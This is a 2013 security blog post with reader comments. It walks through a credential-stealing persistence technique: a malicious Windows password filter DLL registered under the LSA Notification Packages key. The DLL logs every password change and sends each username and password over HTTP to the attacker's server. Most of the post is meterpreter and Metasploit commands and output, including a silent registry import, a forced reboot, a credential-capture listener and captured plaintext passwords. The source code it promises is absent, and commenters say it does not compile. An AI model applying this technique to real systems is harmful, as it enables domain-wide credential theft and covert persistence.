Wednesday, September 11, 2013

Stealing passwords every time they change

Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy.  It is also fairly documented on how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages

with the name of a DLL (without the extension) that you place in Windows\System32\

For National CCDC earlier this year (2013), I created an installer and "evil pass filter" that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.

The full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2]).

So lets walk the exploitation:

First, you have to be admin or system, as this is more of a persistence method than anything.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Next, we upload the evilpassfilter.dll to Sytem32:
meterpreter > pwd
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading  : /tmp/evilpassfilter.dll -> .
[*] uploaded   : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll
Then we need to query what is already in the notification packages list:
meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Data: sceclirassfm
What you can't see here since Metasploit isn't showing the line breaks is that there are two there by default:
We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your "evilpassfilter" string as well as the ones on the victim to a VM you have and export it. Should look like this:

Once we have our file, we upload and import it using reg command:
meterpreter > upload importme.reg .
[*] uploading  : importme.reg -> .
[*] uploaded   : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter > 
Double check our work:
meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Data: sceclirnrassfmrnevilpassfilter 
Its there, w00t! But it doesn't do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):
meterpreter > reboot
While thats going on, lets set up the server to catch the basic auth.

msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on
[*] Using URL:
[*]  Local IP:
[*] Server started.
msf auxiliary(http_basic) > 
Then we wait for a password to be changed:
msf auxiliary(http_basic) >
[*]   http_basic - Sending 401 to client
[+] - Credential collected: "jack:ASDqwe123" => /
No matter how complex their password is and without having a shell on the box anymore:
msf auxiliary(http_basic) >
[+] - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /
This works from Windows 2000, XP all the way up to Windows 8 & 2012.

Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is "verified" by your evil password filter.

Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you're getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)
This attack supports a larger character set than most banks ;-)

Full code:

Rob Fuller


Anonymous said...

tried it on win7 ulti x64 but it doesnt work. compiled it in VS12 for x64 platform and placed the dll inside system32 and syswow64 but not logfile is written.

JP said...

Troubles compiling this...

Error: Error 2 error C2561: 'PasswordChangeNotify' : function must return a value

Vlad Ovtchinikov said...

Anonymous - make sure your Password Policies are enforced before you try.

In Control Panel, click Performance and Maintenance, click Administrative Tools, double-click Local Security Policy, double-click Account Policies, and then double-click Password Policy.

good luck

sa besh said...

i do everything, and check everything but not work.plz answer comments

Anonymous said...

This is code is a bit inconsistent, some of the includes should be using <> instead of "", one of the return types seems wrong for NTSTATUS (not to mention a missing return value), and nothing is exported from this DLL.

I assume a majority of the calls needs to be exported - otherwise I don't see how this code would do anything at all.